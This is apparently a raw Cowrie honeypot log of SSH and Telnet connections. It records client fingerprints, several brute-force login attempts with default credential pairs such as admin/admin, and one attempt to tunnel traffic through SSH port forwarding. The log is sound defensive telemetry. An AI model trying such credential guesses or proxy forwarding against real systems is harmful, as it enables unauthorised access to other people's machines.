{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:32.356836Z","src_ip":"45.148.10.121","session":"2a1338627970","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:32.443567Z","session":"2a1338627970","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:32.529355Z","src_ip":"45.148.10.121","session":"2a1338627970","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:32.532102Z","src_ip":"45.148.10.121","session":"2a1338627970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:32.619879Z","src_ip":"45.148.10.121","session":"2a1338627970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":50038,"dst_ip":"10.17.0.5","dst_port":23,"session":"330b2b34f371","protocol":"telnet","message":"New connection: 206.189.32.23:50038 (10.17.0.5:23) [session: 330b2b34f371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:33.742222Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":50870,"dst_ip":"10.17.0.5","dst_port":23,"session":"96d3e77870d6","protocol":"telnet","message":"New connection: 206.189.32.23:50870 (10.17.0.5:23) [session: 96d3e77870d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:34.775317Z"}
{"eventid":"cowrie.session.closed","duration":30.178544282913208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:39.036873Z","src_ip":"206.189.32.23","session":"39a105be57a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87360382080078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:39.685220Z","src_ip":"162.55.233.176","session":"a5fddb331d1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.93864893913269,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:41.462678Z","src_ip":"188.208.141.113","session":"9434e5e764b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00151324272156,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:42.440694Z","src_ip":"200.219.13.170","session":"d0e186ca2316","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":34766,"dst_ip":"159.203.135.109","dst_port":22,"session":"52cdf318cacd","protocol":"ssh","message":"New connection: 103.170.173.26:34766 (159.203.135.109:22) [session: 52cdf318cacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:44.594622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:44.599231Z","src_ip":"103.170.173.26","session":"52cdf318cacd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:44.863653Z","src_ip":"103.170.173.26","session":"52cdf318cacd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3user","password":"1234","message":"login attempt [ts3user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:45.950291Z","src_ip":"103.170.173.26","session":"52cdf318cacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.41305899620056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:47.010217Z","src_ip":"104.245.105.2","session":"6d25a17202e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33684,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0018613661d","protocol":"telnet","message":"New connection: 206.189.32.23:33684 (10.17.0.5:23) [session: d0018613661d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:47.023233Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:47.217752Z","src_ip":"103.170.173.26","session":"52cdf318cacd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33864,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3a3c5a2879f","protocol":"telnet","message":"New connection: 206.189.32.23:33864 (10.17.0.5:23) [session: c3a3c5a2879f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:47.221866Z"}
{"eventid":"cowrie.session.closed","duration":32.14780116081238,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:50.137372Z","src_ip":"104.245.105.2","session":"88924a1f1033","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.158.146.217","src_port":40536,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f38cb42316f","protocol":"telnet","message":"New connection: 51.158.146.217:40536 (10.17.0.5:23) [session: 3f38cb42316f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:56.403685Z"}
{"eventid":"cowrie.session.closed","duration":31.329224824905396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:56.416949Z","src_ip":"104.245.105.2","session":"7ab491c8bad9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.29901623725891,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:57.527665Z","src_ip":"206.189.32.23","session":"4da2ebdef2f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":42988,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad62b6146cdb","protocol":"telnet","message":"New connection: 206.189.32.23:42988 (10.17.0.5:23) [session: ad62b6146cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:57.614894Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.158.146.217","src_port":40544,"dst_ip":"10.17.0.5","dst_port":23,"session":"817bd8e3a9e0","protocol":"telnet","message":"New connection: 51.158.146.217:40544 (10.17.0.5:23) [session: 817bd8e3a9e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:58.295569Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":43982,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a452f297c0b","protocol":"telnet","message":"New connection: 206.189.32.23:43982 (10.17.0.5:23) [session: 0a452f297c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:39:58.621485Z"}
{"eventid":"cowrie.session.closed","duration":30.99820876121521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:02.215930Z","src_ip":"51.158.146.217","session":"a70de1e21e40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00204801559448,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:02.860058Z","src_ip":"206.189.32.23","session":"c7c7a75e3357","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.807648181915283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:03.095979Z","src_ip":"51.158.146.217","session":"3ea72dd75e1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.7.65.197","src_port":34225,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dd465198752","protocol":"telnet","message":"New connection: 45.7.65.197:34225 (10.17.0.5:23) [session: 3dd465198752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:05.764188Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43782,"dst_ip":"10.17.0.5","dst_port":23,"session":"19dab9aa32f8","protocol":"telnet","message":"New connection: 104.245.105.2:43782 (10.17.0.5:23) [session: 19dab9aa32f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:13.984256Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55486,"dst_ip":"10.17.0.5","dst_port":23,"session":"17ca733781b6","protocol":"telnet","message":"New connection: 188.208.141.113:55486 (10.17.0.5:23) [session: 17ca733781b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:15.365056Z"}
{"eventid":"cowrie.session.closed","duration":49.91098642349243,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:18.232954Z","src_ip":"188.208.141.113","session":"7fda6a711067","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.692955017089844,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:19.456994Z","src_ip":"45.7.65.197","session":"3dd465198752","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.94009065628052,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:19.715275Z","src_ip":"206.189.32.23","session":"96d3e77870d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.31295824050903,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:20.055079Z","src_ip":"206.189.32.23","session":"330b2b34f371","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.862165927886963,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:20.846291Z","src_ip":"104.245.105.2","session":"19dab9aa32f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.236745119094849,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:22.601671Z","src_ip":"188.208.141.113","session":"17ca733781b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41220,"dst_ip":"10.17.0.5","dst_port":23,"session":"844b27107bfe","protocol":"telnet","message":"New connection: 104.245.105.2:41220 (10.17.0.5:23) [session: 844b27107bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:22.782175Z"}
{"eventid":"cowrie.session.closed","duration":30.829169511795044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:27.232701Z","src_ip":"51.158.146.217","session":"3f38cb42316f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9253511428833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:29.220733Z","src_ip":"51.158.146.217","session":"817bd8e3a9e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41230,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac8c90757a27","protocol":"telnet","message":"New connection: 104.245.105.2:41230 (10.17.0.5:23) [session: ac8c90757a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:31.759989Z"}
{"eventid":"cowrie.session.closed","duration":44.822195529937744,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:32.044003Z","src_ip":"206.189.32.23","session":"c3a3c5a2879f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.22247767448425,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:34.245608Z","src_ip":"206.189.32.23","session":"d0018613661d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":37926,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c4e637ccd00","protocol":"ssh","message":"New connection: 190.108.60.10:37926 (10.17.0.5:22) [session: 3c4e637ccd00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:35.491724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:35.496643Z","src_ip":"190.108.60.10","session":"3c4e637ccd00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:35.691971Z","src_ip":"190.108.60.10","session":"3c4e637ccd00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"admin124","message":"login attempt [ftpuser/admin124] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:36.497307Z","src_ip":"190.108.60.10","session":"3c4e637ccd00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:37.706208Z","src_ip":"190.108.60.10","session":"3c4e637ccd00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35742,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c0df338e174","protocol":"telnet","message":"New connection: 104.245.105.2:35742 (10.17.0.5:23) [session: 6c0df338e174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:38.209271Z"}
{"eventid":"cowrie.session.closed","duration":43.67573308944702,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:41.290527Z","src_ip":"206.189.32.23","session":"ad62b6146cdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.344396114349365,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:41.965760Z","src_ip":"206.189.32.23","session":"0a452f297c0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.772729635238647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:53.554781Z","src_ip":"104.245.105.2","session":"844b27107bfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":41692,"dst_ip":"10.17.0.5","dst_port":23,"session":"4850b61ee1df","protocol":"telnet","message":"New connection: 206.189.32.23:41692 (10.17.0.5:23) [session: 4850b61ee1df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:54.602902Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":46320,"dst_ip":"10.17.0.5","dst_port":23,"session":"e17643cf0121","protocol":"telnet","message":"New connection: 206.189.32.23:46320 (10.17.0.5:23) [session: e17643cf0121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:56.524050Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":47836,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f1892f1741a","protocol":"telnet","message":"New connection: 206.189.32.23:47836 (10.17.0.5:23) [session: 9f1892f1741a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:40:56.568627Z"}
{"eventid":"cowrie.session.closed","duration":4.133134603500366,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:00.657043Z","src_ip":"206.189.32.23","session":"e17643cf0121","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.324280261993408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:02.084212Z","src_ip":"104.245.105.2","session":"ac8c90757a27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46924,"dst_ip":"10.17.0.5","dst_port":23,"session":"1614abed3c10","protocol":"telnet","message":"New connection: 104.245.105.2:46924 (10.17.0.5:23) [session: 1614abed3c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:04.278291Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46930,"dst_ip":"10.17.0.5","dst_port":23,"session":"390d24131673","protocol":"telnet","message":"New connection: 104.245.105.2:46930 (10.17.0.5:23) [session: 390d24131673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:05.652864Z"}
{"eventid":"cowrie.session.closed","duration":31.7157199382782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:09.924839Z","src_ip":"104.245.105.2","session":"6c0df338e174","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50832,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3ff6c0e4ccf","protocol":"telnet","message":"New connection: 104.245.105.2:50832 (10.17.0.5:23) [session: d3ff6c0e4ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:11.101768Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.158.146.217","src_port":35938,"dst_ip":"10.17.0.5","dst_port":23,"session":"29b3a65a5ee8","protocol":"telnet","message":"New connection: 51.158.146.217:35938 (10.17.0.5:23) [session: 29b3a65a5ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:16.382148Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":45670,"dst_ip":"10.17.0.5","dst_port":23,"session":"f71d530371b4","protocol":"telnet","message":"New connection: 206.189.32.23:45670 (10.17.0.5:23) [session: f71d530371b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:19.425497Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":44342,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e836d7589e9","protocol":"telnet","message":"New connection: 206.189.32.23:44342 (10.17.0.5:23) [session: 9e836d7589e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:25.162122Z"}
{"eventid":"cowrie.session.closed","duration":0.005518436431884766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:25.167487Z","src_ip":"206.189.32.23","session":"9e836d7589e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":53186,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab6c3e749553","protocol":"telnet","message":"New connection: 206.189.32.23:53186 (10.17.0.5:23) [session: ab6c3e749553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:25.564676Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43826,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0b10a43e3a6","protocol":"telnet","message":"New connection: 104.245.105.2:43826 (10.17.0.5:23) [session: a0b10a43e3a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:30.382094Z"}
{"eventid":"cowrie.session.closed","duration":5.373793840408325,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:30.938351Z","src_ip":"206.189.32.23","session":"ab6c3e749553","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53088,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc99e001186","protocol":"telnet","message":"New connection: 104.245.105.2:53088 (10.17.0.5:23) [session: 0bc99e001186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:31.363610Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":60248,"dst_ip":"10.17.0.5","dst_port":23,"session":"849f80581801","protocol":"telnet","message":"New connection: 206.189.32.23:60248 (10.17.0.5:23) [session: 849f80581801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:31.684085Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59096,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a1e2a782ca1","protocol":"telnet","message":"New connection: 188.208.141.113:59096 (10.17.0.5:23) [session: 1a1e2a782ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:41:32.589254Z"}
